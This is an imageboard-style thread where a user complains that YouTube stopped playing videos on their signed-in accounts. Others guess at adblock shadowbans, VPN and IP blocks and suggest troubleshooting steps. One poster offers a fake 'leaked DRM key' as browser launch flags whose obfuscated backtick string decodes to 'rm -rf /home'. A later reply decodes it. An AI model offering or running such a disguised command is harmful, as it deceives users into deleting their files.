why is youtube doing this shit?
I was just watching vids few days ago and all of the sudden its doing this shit. it's doing it on my main account and my alt account and even on my phone. It's nothing wi-fi or vpn related either. I cant even avoid this shit WITH a VPN and im american. WTFFFFFFFFF GOOGLE PLZ

Like I legitimately can't watch any video now, I need to be signed out to watch any video.

Clear your cache and cookies from your browser and your PC.

YouTube don't want people to watch videos.

Soon Youtube will only show ads.

This is the future to all who block ads. Thus declares Google the Great and Powerful.

Youtube rolls and backrolls it's updates wildly regionally.

If you were using a adblockers or filtering vpn with a registered account, you might be experience a shadowban.

>>106475619
It is man's God given right to not watch ads.

Indeed, but don't use your real accounts.

Well try a different browser and some random free vpn, to check that the issue is not from your side.

that was what I first did kek, i didn't work.

It yields the same same results, can't watch any vid on my account. I now need to watch it signed out, also, I heard that YouTube is cracking down on VPNs too, and i can confirm because it tells me to sign in when using VPNs.

youtube is fucking gay and people are making more and more slop that's not even worth watching. the new algo trend chasing is straight ass. I just pirate tv shows now and read books now. fuck gaytube

Based. I barely watch anything on YouTube now that they've basically cucked Invidious out of existence and made it unusable.

add the leaked youtube DRM key to your browser's command line parameters:
chrome --setdrmkey "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
firefox --drmkey "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"

Thanks a lot! After following this anon's instructions and beginning to watch 'We are being Forced to Buy Chromebooks
', I received an unexpected phone call moments later from an unknown caller warning me that my online activity is being monitored. Don't listen to this anon! You've been warned!

Have you tried turning off your adblocker just to see if that makes a difference? At least we'd know the exact cause if that were the case.

Also, YouTube timeouts tend to be IP based. If you've got access to dynamic IPs unplug your router for a minute and plug it back in and try again. I get that it's account based, but it could also be IP related because YouTube is weird like that.

>>106478632
Well, you should probably try disabling all extensions if you use several, not just the adblocker, just in case. Or logging in using a different browser or a new browser profile. Sorry for spamming.

>firefox --drmkey "rm -rf /home"

heh

So, I tried that and using a different browser, looks like my alt is still shadowbanned while my main can watch vids, I still hate Google for doing this to me.

Users are deleting their videos, simple.
